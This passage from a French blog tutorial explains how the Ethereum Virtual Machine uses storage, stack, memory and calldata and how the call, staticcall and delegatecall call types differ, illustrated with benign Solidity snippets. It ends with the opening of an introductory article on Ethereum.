<span class="n">uint256</span> <span class="n">id</span> <span class="o">=</span> <span class="mi">7</span><span class="o">;</span>
<span class="n">uint256</span> <span class="n">totalAmount</span> <span class="o">=</span> <span class="mi">1000</span><span class="o">;</span>
<span class="cm">/**
* Code du contrat
*/</span>
<span class="n">constructor</span><span class="o">()</span> <span class="o">{</span>
<span class="c1">// Code</span>
<span class="o">}</span>
<span class="n">function</span> <span class="nf">myFunction</span><span class="o">()</span> <span class="n">external</span> <span class="o">{</span>
<span class="c1">// Code</span>
<span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<p>Suite à la création du contrat, le <strong>account storage</strong> contiendra les clés valeurs suivantes :</p>
<p><a href="/assets/uploads/2023/06/account_storage_updated.png"><img src="/assets/uploads/2023/06/account_storage_updated.png" alt="Account Storage Updated" /></a></p>
<blockquote>
<p>Pour parler de clé, la notion de <strong>slot</strong> est souvent utilisée. Ainsi, dans l’exemple suivant, le <strong>slot 0</strong> est celui de la variable <code class="language-plaintext highlighter-rouge">id</code> et le <strong>slot 1</strong> est associé à la variable <code class="language-plaintext highlighter-rouge">totalAmount</code></p>
</blockquote>
<h4 id="optimisation">Optimisation</h4>
<p>Les variables déclarées étaient des <code class="language-plaintext highlighter-rouge">uint256</code>, donc 256 bits, ce qui prenait un slot entier, mais si des variables plus petites sont utilisées, le storage sera optimisé par le compilateur de Solidity. Si deux variables rentrent dans un slot, alors elles seront mises dans ce même slot. Nous verrons cela en détails dans un autre article.</p>
<h4 id="autres-formats">Autres formats</h4>
<p>Dans cette zone de stockage, on peut enregistrer des entiers, mais aussi des chaines de caractères, des tableaux, des mappings, etc. Chaque type de variable a ses règles de stockage gérées par le compilateur de Solidity pour pouvoir les retrouver. En voici un résumé rapide :</p>
<p>Lorsqu’un <strong>tableau</strong> est stocké, la taille du tableau est stockée à un certain index qui suit la règle précédente. Pour trouver l’élément <code class="language-plaintext highlighter-rouge">N</code> du tableau, il faut alors calculer <code class="language-plaintext highlighter-rouge">keccak256(abi.encode(arrayIndex))+N</code>.</p>
<blockquote>
<p><code class="language-plaintext highlighter-rouge">keccak256</code> est une fonction de hash (ancienne version de SHA3).
<code class="language-plaintext highlighter-rouge">abi.encode</code> permet d’encoder des informations afin de transformer des structures de données potentiellement complexes (comme des tableaux) en une suite d’octets, ce qui permet alors à une fonction de hash de fonctionnement correctement.</p>
</blockquote>
<p>Pour un <strong>mapping</strong> (une association clé-valeur), un slot est réservé pour déterminer son index de base (mais rien n’est stocké à cet endroit, contrairement aux tableaux pour lesquels la taille est stockée), puis pour déterminer où se trouve une valeur du mapping, la fonction <code class="language-plaintext highlighter-rouge">keccak256(abi.encode(key, mappingIndex))</code> doit être appliquée. Elle retourne l’index auquel se trouve la valeur de <code class="language-plaintext highlighter-rouge">key</code>.</p>
<p>Les <strong>chaines de caractères</strong> de moins de 32 octets sont enregistrées dans un slot. Les bits de poids fort sont utilisés pour stocker la chaine, et ceux de poids faible pour indiquer la longueur de la chaine. Si elle fait 32 octets ou plus, alors le même mécanisme que les tableaux s’applique.</p>
<p>Enfin, les variables dans une <strong>structure</strong> sont stockées les unes à la suite des autres, comme si c’était des variables indépendantes. Si, dans la structure, il y a des types dynamiques (tableau, mapping etc.), alors les règles qu’on a vues s’appliquent.</p>
<h2 id="stockage-volatile">Stockage volatile</h2>
<p>La mémoire volatile, c’est cette mémoire qui, une fois l’exécution du contrat terminée, est effacée, il n’en reste aucune trace. On pourrait comparer cette mémoire avec la mémoire vive (RAM) d’un ordinateur, en quelque sort.</p>
<h3 id="stack">Stack</h3>
<p>La pile, ou la <em>stack</em>, est une zone mémoire qui a un fonctionnement <strong>LIFO</strong> (Last In, First Out).</p>
<p>Cela veut dire que le dernier élément qui est placé sur la pile sera le premier élément à être dépilé. Pour mieux comprendre, on peut imaginer une pile d’assiette. Si on empile des assiettes les unes sur les autres, il faudra enlever la dernière assiette posée, puis l’avant-dernière etc. pour pouvoir récupérer la première assiette posée. C’est le même principe. (Oui, c’est la même explication qu’<a href="/stack-introduction/">ici</a>, et alors.)</p>
<p>Cette zone mémoire est utilisée par le compilateur pour y stocker des informations temporaires, comme les variables locales d’une fonction, ou les arguments d’instructions par exemple. Typiquement, tous les smart contracts compilés avec Solidity commencent par ces 3 instructions pour stocker la valeur <code class="language-plaintext highlighter-rouge">0x80</code> à l’adresse mémoire <code class="language-plaintext highlighter-rouge">0x40</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PUSH1 0x80 // destination
PUSH1 0x40 // valeur
MSTORE // mstore(destination, valeur)
</code></pre></div></div>
<p>Les arguments de la fonction <code class="language-plaintext highlighter-rouge">mstore</code> sont poussés sur la pile, dans le sens inverse de leur utilisation. En effet, le premier élément qui sera dépilé sera le dernier élément poussé. On pousse donc d’abord la valeur <code class="language-plaintext highlighter-rouge">0x80</code> puis la destination <code class="language-plaintext highlighter-rouge">0x40</code>. Lors de l’exécution de <code class="language-plaintext highlighter-rouge">mstore</code>, <code class="language-plaintext highlighter-rouge">0x40</code> (la destination) sera dépilée, puis <code class="language-plaintext highlighter-rouge">0x80</code> (la valeur).</p>
<p>C’est une zone mémoire qui bouge énormément au fil de l’exécution d’un programme. On peut y stocker jusqu’à 1024 éléments de 256 bits (32 octets).</p>
<blockquote>
<p>Attention, seuls les <strong>16 premiers</strong> éléments de la stack peuvent être utilisés pour effectuer des opérations, appeler des fonctions, etc. Cela veut dire, par exemple, qu’une fonction ne peut pas avoir plus de 16 arguments, ou plus de 16 variables locales.</p>
</blockquote>
<p><a href="/assets/uploads/2023/06/stack.png"><img src="/assets/uploads/2023/06/stack.png" alt="Stack" /></a></p>
<h3 id="memory">Memory</h3>
<p>La <strong>memory</strong> d’un smart contract est une grande zone mémoire accessible en lecture et écriture sans ordre prédéfini comme la stack. On peut y stocker toute taille d’information, à partir d’un octet, jusqu’à 32 octets. En revanche on ne peut lire des informations que par 256 bits (32 octets). On trouvera ici les variables avec des tailles dynamiques, comme les tableaux ou les mappings par exemple, mais on peut tout à fait y stocker des entiers, ou des booléens.</p>
<p>L’adressage se fait sur 32 octets, ou 256 bits. Donc on peut théoriquement stocker jusqu’à <code class="language-plaintext highlighter-rouge">2**256</code> bits d’information. En pratique, ça permet surtout d’éviter des collisions lorsqu’on stocke des données de taille dyamique. On utilisera le hash de certains éléments pour décider de la destination de stockage. Avant que deux hash dans un espace de <code class="language-plaintext highlighter-rouge">2**256</code> soient proches, on a le temps de gagner quelques fois au loto !</p>
<p><a href="/assets/uploads/2023/06/memory.png"><img src="/assets/uploads/2023/06/memory.png" alt="Memory" /></a></p>
<h4 id="espaces-réservés">Espaces réservés</h4>
<p>es deux premiers octets (aux adresses <code class="language-plaintext highlighter-rouge">0x00</code> et <code class="language-plaintext highlighter-rouge">0x20</code>) servent au compilateur pour faire des calculs ou opérations temporaires.</p>
<p>Le troisième emplacement (<code class="language-plaintext highlighter-rouge">0x40</code>) contient un pointeur vers la prochaine zone mémoire libre, utilisable. C’est le <code class="language-plaintext highlighter-rouge">free memory pointer</code>.</p>
<p><a href="/assets/uploads/2023/06/free_memory_pointer.png"><img src="/assets/uploads/2023/06/free_memory_pointer.png" alt="Free memory pointer" /></a></p>
<p>C’est d’ailleurs ce pointeur qui est initialisé au début de chaque contrat compilé avec Solidity. On l’a vu plus tôt dans cet article. Les opérations suivantes enregistrent <code class="language-plaintext highlighter-rouge">0x80</code> à l’adresse <code class="language-plaintext highlighter-rouge">0x40</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PUSH1 0x80
PUSH1 0x40
MSTORE
</code></pre></div></div>
<p>Donc la prochaine zone utilisable pour allouer de la mémoire, c’est l’adresse <code class="language-plaintext highlighter-rouge">0x80</code>. Et pourquoi pas l’adresse <code class="language-plaintext highlighter-rouge">0x60</code> ? Tout simplement parce que cette adresse est également spéciale, elle vaut toujours <code class="language-plaintext highlighter-rouge">0</code>. Elle peut être copiée pour initialiser un tableau par exemple.</p>
<p><a href="/assets/uploads/2023/06/memory_null_data.png"><img src="/assets/uploads/2023/06/memory_null_data.png" alt="Null data" /></a></p>
<h4 id="stockage-des-données">Stockage des données</h4>
<p>Les formats simples comme les <strong>entiers</strong> sont simplement stockés à l’adresse qui leur est assignée.</p>
<p>Pour les <strong>chaines de caractères</strong>, lorsqu’on assigne une adresse pour les stocker, la longueur de la chaine est stockée dans les 256 bits commençant à cette adresse, puis la chaîne est stockée.</p>
<p>Pour les <strong>tableaux</strong>, un espace correspondant au nombre d’éléments est réservé, et les éléments du tableaux sont ajoutés les uns à la suite des autres.</p>
<p>Une <strong>structure</strong> est organisée de la même manière qu’un tableau.</p>
<p><a href="/assets/uploads/2023/06/memory_string_array.png"><img src="/assets/uploads/2023/06/memory_string_array.png" alt="Memory string array" /></a></p>
<h3 id="calldata">Calldata</h3>
<p>Lors d’un appel à une fonction d’un smart contract, cet appel doit être créé par le client avant même d’avoir envoyé la transaction, donc avant même que l’EVM soit instanciée quelque part. Les paramètres de la fonction ne peuvent donc pas être dans une stack ou en mémoire de l’EVM.</p>
<p>La fonction, et ses arguments, sont envoyés dans le champ <code class="language-plaintext highlighter-rouge">data</code> de la transaction, comme nous l’avons brièvement vu dans l’article sur <a href="/ethereum/#envoi-de-donn%C3%A9es">Ethereum</a>. Lorsque le contract va effectivement être instancié et exécuté dans la machine virtuelle de Ethereum, ce qui a été envoyé dans <code class="language-plaintext highlighter-rouge">data</code> va être copié dans la zone mémoire appelée <strong>calldata</strong>.</p>
<p>Cette zone mémoire, <strong>calldata</strong> est utilisée lors de l’appel d’une fonction par un client Ethereum, mais pas uniquement. Elle l’est à chaque fois qu’un message est envoyé, que ce soit d’un EOA vers un contrat, ou d’un contrat vers un contrat.</p>
<p>D’un point de vue mémoire, <strong>calldata</strong> est très similaire à la <strong>memory</strong>.</p>
<ul>
<li>Elle est linéaire</li>
<li>L’adressage se fait à l’octet</li>
<li>On ne peut lire que 32 octets par appel</li>
</ul>
<p>En revanche, contrairement à la <strong>memory</strong>, cette zone mémoire est en <strong>lecture seule</strong>. On ne peut pas écrire dans cette zone mémoire. C’est l’EVM qui se charge de copier les paramètres qu’a envoyés la source du message.</p>
<h4 id="sélecteur-de-fonction">Sélecteur de fonction</h4>
<p>Les 4 premiers octets sont réservés au sélecteur de la fonction. Je rappelle ce qui a été expliqué dans l’article sur <a href="/ethereum/">Ethereum</a>, le <strong>sélecteur de la fonction</strong> est calculé en hashant la signature de la fonction, et en ne retenant que les 4 premiers octets.</p>
<p>Par exemple, imaginons la fonction suivante :</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">function</span> <span class="nf">getItemValue</span><span class="o">(</span><span class="n">string</span> <span class="n">calldata</span> <span class="n">_itemName</span><span class="o">,</span> <span class="n">uint256</span> <span class="n">_itemId</span><span class="o">)</span> <span class="kd">public</span> <span class="nf">returns</span><span class="o">(</span><span class="n">uint256</span> <span class="n">value</span><span class="o">)</span> <span class="o">{</span>
<span class="c1">// Code de la fonction</span>
<span class="o">}</span>
</code></pre></div></div>
<p>La signature de la fonction est :</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">getItemValue</span><span class="o">(</span><span class="n">string</span><span class="o">,</span><span class="n">uint256</span><span class="o">)</span>
</code></pre></div></div>
<p>Et le sélecteur :</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">bytes4</span><span class="o">(</span><span class="n">keccak256</span><span class="o">(</span><span class="s">"getItemValue(string,uint256)"</span><span class="o">));</span>
<span class="c1">// Output:</span>
<span class="mh">0xc2e58fec</span>
</code></pre></div></div>
<p>La suite de cette zone mémoire est dédiée aux arguments de la fonction.</p>
<h4 id="stockage-des-arguments">Stockage des arguments</h4>
<p>Les formats simples comme les <strong>entiers</strong> sont stockés tels quels.</p>
<p>Pour les <strong>chaines de caractères</strong>, on trouve l’offset de là où elle se trouve vraiment. Cet offset permet de trouver la chaine, en commençant par sa taille (sur 256 bits) puis les caractères de la chaine.</p>
<p>Pour les <strong>tableaux</strong>, de même on trouve l’offset de là où se trouve le tableau. A cet offset seront ensuite mis les différents éléments du tableau.</p>
<p>Une <strong>structure</strong> est organisée de la même manière qu’un tableau.</p>
<p>Prenons le même exemple quand dans l’<a href="/ethereum/">article précédent</a> :</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">getItemValue</span><span class="o">(</span><span class="s">"pixis"</span><span class="o">,</span> <span class="mi">8</span><span class="o">);</span>
</code></pre></div></div>
<p>Le contenu de <code class="language-plaintext highlighter-rouge">calldata</code> sera :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0xc2e58fec0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000057069786973000000000000000000000000000000000000000000000000000000
</code></pre></div></div>
<p>Ce qui peut être découpé de la manière suivante :</p>
<p><a href="/assets/uploads/2023/06/calldata.png"><img src="/assets/uploads/2023/06/calldata.png" alt="Calldata" /></a></p>
<h3 id="pc---program-counter">PC - Program Counter</h3>
<p>Pour information, il existe aussi une zone mémoire appelée le <strong>Program Counter</strong> ou <strong>PC</strong>. Pour ceux qui connaissent le monde Intel, c’est l’équivalent de “EIP” (ou “RIP”). C’est une zone mémoire dans laquelle il y a l’adresse de la prochaine instruction à exécuter. Ca permet donc à la machine virtuelle de savoir où elle en est. Souvent, cette adresse augmente petit à petit, et parfois, lorsqu’il y a un saut (<em>jump</em>), la destination du <em>jump</em> est assignée au <strong>PC</strong>, ce qui fera que la prochaine instruction exécutée sera la destination du <em>jump</em>.</p>
<h3 id="gas-1">Gas</h3>
<p>Enfin, l’EVM maintient à jour le nombre de <strong>gas</strong> consommés, afin de vérifier que le <strong>gas</strong> fourni par l’utilisateur lors de l’appel de la fonction est suffisant.</p>
<h2 id="calls">Calls</h2>
<p>Après avoir étudié les différentes zones mémoires qui permettent à l’EVM de fonctionner, nous terminerons en parlant des différents types d’appels qui permettent de demander à un smart contract d’exécuter du code. Ces appels, ou <code class="language-plaintext highlighter-rouge">calls</code>, permettent d’exécuter une fonction d’un smart contract, avec des arguments si nécessaire.</p>
<p>Chaque type de call a ses spécificités. Pour bien comprendre de quoi il en retourne, il faut d’abord expliquer qu’un contrat s’exécute dans un certain contexte. Parfois, lorsqu’une fonction est appelée, une nouvelle instance d’EVM est déployée pour exécuter le code de la fonction. Parfois, les zones mémoires sont différentes, parfois partagées. Les informations globales (comme la source du message) peuvent également varier ou non, selon le type d’appel.</p>
<p>Nous ferons un tableau récapitulatif suite aux détails des différents appels.</p>
<h3 id="calls-internes">Calls internes</h3>
<p>Le plus simple, ce sont les <strong>appels internes</strong>. C’est ce qu’il se passe quand un smart contract fait appel à une de ses propres fonctions, ou à une fonction d’un contract dont il hérite. En terme d’<em>opcode</em>, quand un appel interne est effectué, c’est un saut (<em>jump</em>) qui va être exécuté. Il n’y a <strong>aucun changement de contexte</strong>, on reste dans le même contrat, dans la même instance de machine virtuelle. La fonction appelée partage les mêmes informations, les mêmes zones de stockage que la fonction appelante.</p>
<p>Voici deux exemples d’appels internes, l’un pour une fonction du même contrat (<code class="language-plaintext highlighter-rouge">functionA()</code>) et l’autre qui appelle une fonction d’un contrat parent (<code class="language-plaintext highlighter-rouge">functionParent()</code>).</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">contract</span> <span class="nc">Parent</span> <span class="o">{</span>
<span class="n">function</span> <span class="nf">functionParent</span><span class="o">()</span> <span class="n">internal</span> <span class="n">pure</span> <span class="o">{</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="n">contract</span> <span class="nc">Child</span> <span class="n">is</span> <span class="nc">Parent</span> <span class="o">{</span>
<span class="n">function</span> <span class="nf">functionA</span><span class="o">()</span> <span class="n">internal</span> <span class="n">pure</span> <span class="o">{</span>
<span class="o">}</span>
<span class="n">function</span> <span class="nf">functionB</span><span class="o">()</span> <span class="n">external</span> <span class="n">pure</span> <span class="o">{</span>
<span class="c1">// Appel interne à une fonction du même contrat</span>
<span class="n">functionA</span><span class="o">();</span>
<span class="o">}</span>
<span class="n">function</span> <span class="nf">functionChild</span><span class="o">()</span> <span class="n">external</span> <span class="n">pure</span> <span class="o">{</span>
<span class="c1">// Appel interne à une fonction du contrat parent</span>
<span class="n">functionParent</span><span class="o">();</span>
<span class="o">}</span>
</code></pre></div></div>
<p>Le contenu de <code class="language-plaintext highlighter-rouge">functionA()</code> aurait pu être mis dans <code class="language-plaintext highlighter-rouge">functionB()</code>, ça n’aurait pas changé grand chose.</p>
<h3 id="calls-externes">Calls externes</h3>
<p>Les calls externes sont plus intéressants. Ils permettent d’appeler les fonctions d’autres contrats. Il existe 3 types d’appels externes différents.</p>
<blockquote>
<p>En réalité, il en existe un 4ème, <code class="language-plaintext highlighter-rouge">callcode</code>, mais il a été déprécié en faveur de <code class="language-plaintext highlighter-rouge">delegatecall</code> donc nous n’en parlerons pas ici.</p>
</blockquote>
<h4 id="call">call</h4>
<p>Le <code class="language-plaintext highlighter-rouge">call</code> est l’appel de base. Il permet d’appeler une fonction d’un autre contrat. Cette fonction sera exécutée dans une nouvelle instance d’EVM, avec ses propres zones mémoires (stack, memory, …). Le code appelé peut alors faire ce qu’il souhaite, modifier sa propre mémoire, mettre à jour ses variables, etc. Comprenez cependant que les variables du contrat <strong>appelé</strong> sont complètement <strong>indépendantes</strong> des variables du contrat <strong>appelant</strong>. Chacun chez soi, et les moutons seront bien gardés.</p>
<p>Par ailleurs, les données du message sont mises à jour. Ainsi, l’adresse de provenance (<code class="language-plaintext highlighter-rouge">msg.sender</code>) devient celle du contrat appelant, et la valeur incluse dans le message (<code class="language-plaintext highlighter-rouge">msg.value</code>) est mise à jour également.</p>
<p>On peut également envoyer des Ethers via un <code class="language-plaintext highlighter-rouge">call</code>.</p>
<p>Voici un exemple</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">contract</span> <span class="nc">ContractA</span> <span class="o">{</span>
<span class="n">uint</span> <span class="kd">public</span> <span class="n">callCounter</span><span class="o">;</span>
<span class="n">function</span> <span class="nf">functionA</span><span class="o">()</span> <span class="n">external</span> <span class="n">payable</span> <span class="o">{</span>
<span class="n">callCounter</span><span class="o">++;</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="n">contract</span> <span class="nc">ContractB</span> <span class="o">{</span>
<span class="nc">ContractA</span> <span class="n">contractA</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ContractA</span><span class="o">();</span>
<span class="n">function</span> <span class="nf">functionB</span><span class="o">()</span> <span class="n">external</span> <span class="o">{</span>
<span class="c1">// call car functionA modifie des informations dans le storage, en l'occurrence sa variable "callCounter"</span>
<span class="n">contractA</span><span class="o">.</span><span class="na">functionA</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<p>Il est possible d’utiliser la fonction <code class="language-plaintext highlighter-rouge">call</code> explicitement, de la manière suivante :</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">(</span><span class="n">bool</span> <span class="n">success</span><span class="o">,</span><span class="n">bytes</span> <span class="n">memory</span> <span class="n">data</span><span class="o">)</span> <span class="o">=</span> <span class="n">address</span><span class="o">(</span><span class="n">contractA</span><span class="o">).</span><span class="na">call</span><span class="o">{</span><span class="nl">value:</span> <span class="mf">0.1</span> <span class="n">ether</span><span class="o">}(</span><span class="n">abi</span><span class="o">.</span><span class="na">encodeWithSignature</span><span class="o">(</span><span class="s">"functionA()"</span><span class="o">));</span>
</code></pre></div></div>
<p>L’appel renverra un status booléen sur la bonne exécution du <code class="language-plaintext highlighter-rouge">call</code> ainsi que de la donnée optionnellement renvoyée par la fonction appelée. On note également que, dans cet exemple, nous avons envoyé <code class="language-plaintext highlighter-rouge">0.1 ether</code> au contrat appelé.</p>
<p><a href="/assets/uploads/2023/06/call.png"><img src="/assets/uploads/2023/06/call.png" alt="Call" /></a></p>
<h4 id="staticcall">staticcall</h4>
<p>Le <code class="language-plaintext highlighter-rouge">staticcall</code> est en tous points similaire au <code class="language-plaintext highlighter-rouge">call</code>, cependant la fonction appelée ne <strong>peut pas effectuer de modifications sur la blockchain</strong>, ni son storage, ni son solde d’ether. C’est une sorte d’appel en lecture seule.</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">contract</span> <span class="nc">ContractA</span> <span class="o">{</span>
<span class="n">function</span> <span class="nf">functionA</span><span class="o">()</span> <span class="n">external</span> <span class="n">view</span> <span class="o">{</span>
<span class="c1">// Du code</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="n">contract</span> <span class="nc">ContractB</span> <span class="o">{</span>
<span class="nc">ContractA</span> <span class="n">contractA</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ContractA</span><span class="o">();</span>
<span class="n">function</span> <span class="nf">functionB</span><span class="o">()</span> <span class="n">external</span> <span class="n">view</span> <span class="o">{</span>
<span class="c1">// staticcall car functionA est déclarée comme "view", donc ne fera aucune modification dans le storage</span>
<span class="n">contractA</span><span class="o">.</span><span class="na">functionA</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<p>Comme cet appel ne peut pas modifier la blockchain, le solde du contrat appelé ne peut pas être modifié. Ainsi, il n’est pas possible d’envoyer des Ethers via cet appel. Il est également possible d’appeler la fonction <code class="language-plaintext highlighter-rouge">staticcall</code> explicitement, de la manière suivante :</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">(</span><span class="n">bool</span> <span class="n">success</span><span class="o">,</span><span class="n">bytes</span> <span class="n">memory</span> <span class="n">data</span><span class="o">)</span> <span class="o">=</span> <span class="n">address</span><span class="o">(</span><span class="n">contractA</span><span class="o">).</span><span class="na">staticcall</span><span class="o">(</span><span class="n">abi</span><span class="o">.</span><span class="na">encodeWithSignature</span><span class="o">(</span><span class="s">"functionA()"</span><span class="o">));</span>
</code></pre></div></div>
<p><a href="/assets/uploads/2023/06/staticcall.png"><img src="/assets/uploads/2023/06/staticcall.png" alt="Static Call" /></a></p>
<h4 id="delegatecall">delegateCall</h4>
<p>L’appel <code class="language-plaintext highlighter-rouge">delegateCall</code> est très particulier. Il peut se révéler extrêmement utile, mais extrêmement dangereux. Alors que pour les appels <code class="language-plaintext highlighter-rouge">call</code> et <code class="language-plaintext highlighter-rouge">staticcall</code>, les zones mémoires étaient distinctes entre l’appelant et l’appelé, ce n’est pas complètement le cas pour le <code class="language-plaintext highlighter-rouge">delegateCall</code>.</p>
<p>Dans ce cas, toutes les zones mémoire volatiles (stack, memory, PC) sont propres au contrat appelé, le contrat B, cependant :</p>
<ul>
<li>Les <strong>lectures et écritures dans le storage seront faites dans le storage du contrat A</strong></li>
<li>L’adresse de provenance du message (<code class="language-plaintext highlighter-rouge">msg.sender</code>) et la valeur (<code class="language-plaintext highlighter-rouge">msg.value</code>) <strong>ne vont pas être mis à jour</strong>. Donc si un EOA appelle un contrat A, et que contrat A effectue un <code class="language-plaintext highlighter-rouge">delegateCall</code> vers un contrat B, <code class="language-plaintext highlighter-rouge">msg.sender</code> sera <strong>toujours l’EOA</strong> lorsque le contrat B exécutera son code.</li>
</ul>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">contract</span> <span class="nc">ContractA</span> <span class="o">{</span>
<span class="n">uint</span> <span class="kd">private</span> <span class="n">secretNumber</span><span class="o">;</span>
<span class="n">function</span> <span class="nf">updateSecret</span><span class="o">()</span> <span class="kd">public</span> <span class="n">payable</span> <span class="o">{</span>
<span class="n">secretNumber</span> <span class="o">=</span> <span class="mi">1337</span><span class="o">;</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="n">contract</span> <span class="nc">ContractB</span> <span class="o">{</span>
<span class="n">uint</span> <span class="kd">private</span> <span class="n">secretNumber</span> <span class="o">=</span> <span class="mi">42</span><span class="o">;</span>
<span class="nc">ContractA</span> <span class="n">contractA</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ContractA</span><span class="o">();</span>
<span class="n">function</span> <span class="nf">callContractA</span><span class="o">()</span> <span class="kd">public</span> <span class="n">payable</span> <span class="o">{</span>
<span class="c1">// Le storage de ContractB est mis à jour avec ce delegatecall</span>
<span class="o">(</span><span class="n">bool</span> <span class="n">success</span><span class="o">,</span> <span class="n">bytes</span> <span class="n">memory</span> <span class="n">data</span><span class="o">)</span> <span class="o">=</span> <span class="n">address</span><span class="o">(</span><span class="n">contractA</span><span class="o">).</span><span class="na">delegatecall</span><span class="o">(</span><span class="n">abi</span><span class="o">.</span><span class="na">encodeWithSignature</span><span class="o">(</span><span class="s">"updateSecret()"</span><span class="o">));</span>
<span class="o">}</span>
<span class="n">function</span> <span class="nf">getSecretNumber</span><span class="o">()</span> <span class="n">external</span> <span class="n">view</span> <span class="nf">returns</span><span class="o">(</span><span class="n">uint</span><span class="o">)</span> <span class="o">{</span>
<span class="k">return</span> <span class="n">secretNumber</span><span class="o">;</span>
<span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<p>Dans cet exemple, le <code class="language-plaintext highlighter-rouge">ContractB</code> possède une variable de storage privée, <code class="language-plaintext highlighter-rouge">secretNumber</code>, valant <code class="language-plaintext highlighter-rouge">42</code>. En effectuant un <code class="language-plaintext highlighter-rouge">delegatecall</code> vers <code class="language-plaintext highlighter-rouge">ContractA</code>, <code class="language-plaintext highlighter-rouge">ContractA</code> va mettre à jour la variable <code class="language-plaintext highlighter-rouge">secretNumber</code>. Cette mise à jour est faite dans le storage de <code class="language-plaintext highlighter-rouge">ContractB</code>. Donc, suite à cet appel, la fonction <code class="language-plaintext highlighter-rouge">getSecretNumber()</code> renverra <code class="language-plaintext highlighter-rouge">1337</code>, et non plus <code class="language-plaintext highlighter-rouge">42</code>.</p>
<p><a href="/assets/uploads/2023/06/delegatecall.png"><img src="/assets/uploads/2023/06/delegatecall.png" alt="DelegateCall" /></a></p>
<p>Un cas d’usage classique de ce type d’appel est le principe des contrats proxy. Lorsqu’un développeur veut mettre à jour son contrat, il devra à nouveau le déployer, et fournir la nouvelle adresse à ses utilisateurs.</p>
<p>Une solution est alors de créer un contrat proxy, dans lequel toutes les informations de son application sont stockées, et ce contrat effectue des <code class="language-plaintext highlighter-rouge">delegateCall</code> vers la vraie application. Le développeur communique l’adresse du proxy à tous ses utilisateurs.</p>
<p>Si un jour, l’application doit être mise à jour, il suffit d’appeler une fonction du proxy qui permette de mettre à jour l’adresse de l’application. Cette mise à jour est transparente pour les utilisateurs, puisque le proxy n’a pas été modifié.</p>
<h4 id="résumé-des-calls">Résumé des calls</h4>
<p>Voici un petit tableau récapitulatif des différents types de <code class="language-plaintext highlighter-rouge">call</code>.</p>
<table>
<thead>
<tr>
<th>Call de contrat A vers contrat B</th>
<th>Nouvelle EVM</th>
<th>Storage</th>
<th>msg.sender/msg.value</th>
<th>Modification de la blockchain</th>
</tr>
</thead>
<tbody>
<tr>
<td>call</td>
<td>Oui</td>
<td>Contrat B</td>
<td>Mis à jour</td>
<td>Possible</td>
</tr>
<tr>
<td>staticcall</td>
<td>Oui</td>
<td>Contrat B</td>
<td>Mis à jour</td>
<td>Impossible</td>
</tr>
<tr>
<td>delegatecall</td>
<td>Oui</td>
<td><strong>Contrat A</strong></td>
<td><strong>Non mis à jour</strong></td>
<td>Possible</td>
</tr>
</tbody>
</table>
<h2 id="conclusion">Conclusion</h2>
<p>Cet article nous a permis de faire un tour d’horizon de l’<strong>EVM</strong>, <strong>Ethereum Virtual Machine</strong>. Des <em>opcodes</em> sont exécuté par la machine virtuelle, dans la limite du <strong>gas</strong> envoyé par l’utilisateur, puisque l’exécution de code a un coût.</p>
<p>Pour correctement fonctionner, l’EVM utilise différentes zones mémoires pour stocker des informations temporaires et permanentes.</p>
<p>Enfin, afin que des contrats puissent s’appeller entre eux, différents appels, ou <strong>calls</strong>, sont gérés par l’EVM.</p>
<p>Ces bases devraient être suffisantes pour aborder serainement les vulnérabilités rencontrées dans les smart contracts dans les prochains articles.</p>
Wed, 19 Jul 2023 08:12:43 +0000
https://beta.hackndo.com/ethereum-virtual-machine/
https://beta.hackndo.com/ethereum-virtual-machine/BlockchainEthereum<p>Contrairement à des blockchains comme Bitcoin, qui permet essentiellement d’effectuer des transactions de cryptomonnaie Bitcoin, Ethereum possède en plus un truc assez extraordinaire, c’est l’exécution de code <strong>décentralisée</strong>.</p>
<p>Oui, décentralisée. Ça veut dire qu’il est possible d’écrire un programme, du code quoi, et de le faire exécuter non pas sur un serveur, mais sur des milliers de <em>serveurs</em> ou nœuds. Et les résultats de notre programme sont également enregistrés de manière décentralisée. Je ne sais pas vous, mais moi je trouve ça incroyable, et ça m’a vraiment donné envie de creuser un peu le sujet.</p>
<!--more-->
<p>Donc Ethereum, c’est une blockchain parmi tant d’autres. Ce n’est pas des blockchains qui manquent aujourd’hui, mais à ce jour, Ethereum est la plus connue et la plus utilisée, du moins du côté des blockchains qui permettent, justement, d’exécuter du code. Elle a ses défauts que d’autres blockchains corrigent (mais souvent au détriment d’autres aspects), ce n’est pas vraiment le sujet.</p>
<p>Nous allons voir comment Ethereum fonctionne, en abordant les notions de comptes EOA, de contrats, d’états et de transactions.</p>
<h2 id="ethereum-101">Ethereum 101</h2>
